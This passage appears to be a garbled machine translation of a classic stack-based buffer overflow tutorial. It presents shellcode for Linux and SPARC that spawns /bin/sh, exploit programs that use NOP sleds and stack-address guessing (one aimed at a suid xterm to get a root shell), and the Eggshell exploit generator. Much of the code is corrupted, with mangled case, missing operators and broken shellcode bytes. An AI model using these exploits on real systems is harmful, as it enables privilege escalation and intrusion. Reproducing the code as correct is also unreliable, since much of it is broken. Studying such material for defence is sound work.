Xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b
X89XF3X8DX4EX08X8DX56X0CXCDX80XE8XECxFFFFXFF / BIN / SH
Now we can write our test procedures:
Exploit1.c:
Char shellcode [] =
"XEBX18X5EX89X76X08X31XC0X88X46X07X89X46X0CXB0X0B"
"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff / bin / sh";
Char large_string [128];
void main ()
{
Char buffer [96];
INT I;
Long * long_ptr = (long *) Large_String;
For (i = 0; i <32; i ) * (long_ptr i) = (int) buffer;
For (i = 0; i STRCPY (Buffer, Large_String); } In the above program, we first populate LARGE_STRING [] with buffer, and place shellcode in the start position of large_string [], to ensure that the address is overwriting to buffer when Bufferoverflow (the entrance address of the shellcode) is guaranteed when BufferFlow ). Then use strcpy to copy the contents of Large_String into Buffer because Buffer only has 96 bytes of space, so buffer overflow will occur. The return address is overwritten to the entrance address of the shellcode. When the program executes the end of the main function When it automatically jumps to our shellcode, create a new shell. Now we compile this program: [ALEPH1] $ GCC o Exploit1 Exploit1.c [aleph1] $ ./exploit1 $ EXIT exit [aleph1] $ OK! You can see that when we perform Test, our shellcode performs correctly and generates a new shell, which is the result we want to see. However, this example is just a test, let's see A look in the actual environment how to make our shellcode role. 4. The problem encountered in the actual application In the above example, we successfully attacked a program we wrote by the buffer overflow defect. Because we own The program, so we can easily determine the absolute address of Shellcode when running (the rest of the work), and the rest is just use this address to populate Large_String. But when we try to attack one other When the program, the problem will appear. How do we know the absolute address of the shell code? Don't know this address, what do we use to fill the Large_String, use what to override the return address? Don't know what to override to return the address How can shelecode get control? If there is no control, we can't succeed in attacking this program, then all the work we have made is white. It can be seen that this problem is what we want. A key issue that is solved. Fortunately, for all programs, the start address of the stack is the same, and before copy shellcode, the stack frame already existing in the stack is not much, the length is approximately one or two hundred to thousands. Within the range of bytes. So, we can finally find the entrance address of Shellcode by guessing the experiment. Below is a program for printing stack start addresses: sp.c Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void main () { Printf ("0x% x", get_sp ()); } [aleph1] $ ./sp 0x8000470 [aleph1] $ Although the method mentioned above solves this problem, as long as you want to think about it, you know that this method is not practical. Because this method requires you to accurately guess the entrance of Shellcode in the stack segment, the deviation is not one byte. If you are lucky, you may guess it as long as you guess dozens of times, but the general situation is that you have to guess a few thousand times to guess. And you can guess, I think most people. They have already given up. So we need a higher efficiency method to minimize our trials. One simple method is to place shellcode in the middle of the lar, and populated as NOP instructions (NOP instruction is a Anything does not do, mainly for delay operations, almost all CPUs support NOP instructions). This way, as long as we guess the address falls in this NOP instruction string, then the program will continue until SHELLCODE ( As shown below. In this way, the probability we guess is mostly (before you must guess the entrance address of the shellcode, now just guess any of the NOP instruction strings). Low-end memory DDDDDDDEEEEEEEEEEEEE EEEE FFFFFFFFFF FFF high-end memory Top 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF Stack Buffer EBP RET A B C <[Nnnnnnnnnnsssssss] [0xde] [0xde] [0xde] [0xde] [0xDE] ^ | | | ___________ | Now we can write our attack programs based on this method. Exploit2.c #include #define default_offset 0 #define default_buffer_size 512 #define nop 0x90 Char shellcode [] = "XEBX18X5EX89X76X08X31XC0X88X46X07X89X46X0CXB0X0B" "X89XF3X8DX4EX08X8DX56X0CXCDX80XE8XECxFFXFFXFF / BIN / SH"; unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void main (int Argc, char * argv []) { Char * buff, * PTR; Long * addr_ptr, addr; INT offset = default_offset, bsize = default_buffer_size; INT I; IF (Argc> 1) BSIZE = ATOI (Argv [1]); IF (Argc> 2) OFFSET = ATOI (Argv [2]); IF (! (buff = malloc (bsuzize)))))) { "" can't Allocate Memory. "); exit (0); } AddR = get_sp () OFFSet; Printf ("Using Address: 0x% x", AddR); PTR = BUFF; Addr_ptr = (long *) PTR; For (i = 0; i For (i = 0; i PTR = BUFF ((BSize / 2) (Strlen (shellcode) / 2); For (i = 0; i / / Middle fill Shell Code BUF [BSIZE1] = ''; Memcpy (BUFF, "EGG =", 4); // Save the generated string in egg. Putenv (BUFF); SYSTEM ("/ bin / bash"); } Ok, now let's test the performance of this program. This attack target is XTERM (all the procedures for XT Library have this defect). First make sure the X Server is running and allowed to connect. [ALEPH1] $ export display =: 0.0 [ALEPH1] $ ./exploit2 1124 Using address: 0xBffffdb4 [aleph1] $ / usr / x11r6 / bin / xterm fg $ EGG Warning: Some Arguments in Previous Message Were Lost Bash $ OK! It seems that our program is really very easy. If xterm has a Suidroot property, then this shell is a shell with root privileges. Appendix A Some Operating System / Platform Shell Code i386 / Linux JMP 0x1f POPL% ESI MOVL% ESI, 0x8 (% ESI) XORL% EAX,% EAX MOVB% EAX, 0x7 (% ESI) MOVL% EAX, 0xc (% ESI) MOVB $ 0XB,% Al MOVL% ESI,% EBX LEAL 0x8 (% ESI),% ECX LEAL 0xC (% ESI),% EDX INT $ 0x80 XORL% EBX,% EBX MOVL% EBX,% EAX INC% EAX INT $ 0x80 Call 0x24 .String "/ bin / sh" Sparc / Solaris SETHI 0XBD89A,% L6 OR% L6, 0x16e,% l6sethi 0xBDCDA,% L7 And% SP,% SP,% O0 Add% SP, 8,% O1 XOR% O2,% O2,% O2 Add% SP, 16,% SP STD% L6, [% SP 16] ST% sp, [% sp 8] ST% G0, [% sp 4] MOV 0x3b,% G1 TA 8 XOR% O7,% O7,% O0 MOV 1,% G1 TA 8 SPARC / SunOS SETHI 0XBD89A,% L6 OR% L6, 0x16E,% L6 SETHI 0XBDCDA,% L7 And% SP,% SP,% O0 Add% SP, 8,% O1 XOR% O2,% O2,% O2 Add% SP, 16,% SP STD% L6, [% SP 16] ST% sp, [% sp 8] ST% G0, [% sp 4] MOV 0x3b,% G1 MOV 0x1,% L5 TA% L5 1 XOR% O7,% O7,% O0 MOV 1,% G1 TA% L5 1 Appendix B General Buffer Overflow Attack Program shellcode.h #if Defined (__ i386__) && defined (__ linux__) #define NOP_SIZE 1 Char NOP [] = "x90"; Char shellcode [] = "XEBX1FX5EX89X76X08X31XC0X88X46X07X89X46X0CXB0X0B" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff / bin / sh"; Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } #ELIF Defined (__ sparc__) && defined (__ sun__) && defined (__ SVR4__) #define NOP_SIZE 4 Char NOP [] = "Xacx15xa1x6e"; Char shellcode [] = "X2DX0BXD8X9AXACX15XA1X6EX2FX0BXDCXDAX90X0BX80X0E" "X92X03X0X08X94X1AX80X0AX9CX03XA0X10XECX3BXBFXF0" "XDCX23XBFXF8XC0X23XBFXFCX82x10x20x3bx91xd0x20x08" "X90X1BXC0X0FX82X10x20x01x91xd0x20x08"; Unsigned long get_sp (void) { __ASM __ ("OR% SP,% SP,% I0"); } #ELIF Defined (__ sparc__) && defined (__ sun__) #define NOP_SIZE 4 Char NOP [] = "Xacx15xa1x6e"; Char shellcode [] = "X2DX0BXD8X9AXACX15XA1X6EX2FX0BXDCXDAX90X0BX80X0E" "X92X03X0X08X94X1AX80X0AX9CX03XA0X10XECX3BXBFXF0" "XDCX23XBFXF8XC0X23XBFXFCX82X10X20X3BXAAX10X3FXFF" "X91XD5X60X01X90X1BXC0X0FX82x10x20x01x91xd5x60x01"; unsigned long get_sp (void) { __ASM __ ("OR% SP,% SP,% I0"); } #ENDIF Eggshell.c / * * Eggshell v1.0 * * Aleph one / aleph1@underround.org * / #include #include #include "shellcode.h" #define default_offset 0 #define default_buffer_size 512 #define default_egg_size 2048 Void Usage (Void); Void Main (int Argc, char * argv []) { Char * PTR, * BOF, * EGG; Long * addr_ptr, addr; INT offset = default_offset, bsize = default_buffer_size; INT I, N, M, C, Align = 0, Eggsize = Default_EGG_SIZE DEFT_EGG_SIZE While (C = Getopt (Argc, Argv, "A: B: E: o:"))! = EOF Switch (c) { Case 'a': Align = ATOI (OPTARG); Break; Case 'b': Bsize = atoi (OPTARG); Break; Case 'E': Eggsize = atoi (OPTARG); Break; Case 'o': OFFSET = ATOI (OPTARG); Break; Case '?': USAGE (); exit (0); } IF (Strlen (shellcode> eggsize) { "" Shellcode Is Larger The The Egg. "); exit (0); } IF (! (bof = malloc (bsize)))) { "" can't Allocate Memory. "); exit (0); } IF (! (egg = malloc (eggsize))) { "" can't Allocate Memory. "); exit (0); } AddR = get_sp () OFFSet; Printf ("[Buffer Size:% D EGG Size:% D Aligment:% D]", Bsize, Eggsize, Align; Printf ("[Address: 0x% X Offset:% D]", Addr, Offset; Addr_ptr = (long *) BOF; For (i = 0; i * (addr_ptr ) = addr; PTR = EGG; For (i = 0; i <= eggsize strlen (shellcode) NOP_SIZE; i = NOP_SIZE) FOR (n = 0; n M = (N align)% NOP_SIZE; * (PTR ) = NOP [M]; } For (i = 0; i * (PTR ) = shellcode [i]; Bof [BSIZE 1] = ''; Egg [eggsize 1] = ''; Memcpy (EGG, "EGG =", 4); Putenv (EGG); Memcpy (BOF, "BOF =", 4); Putenv (BOF); SYSTEM ("/ bin / sh"); } Void usage (void) { (void) FPRINTF (stderr, "USAGE: Eggshell [A] [B] [E] [O]"); } '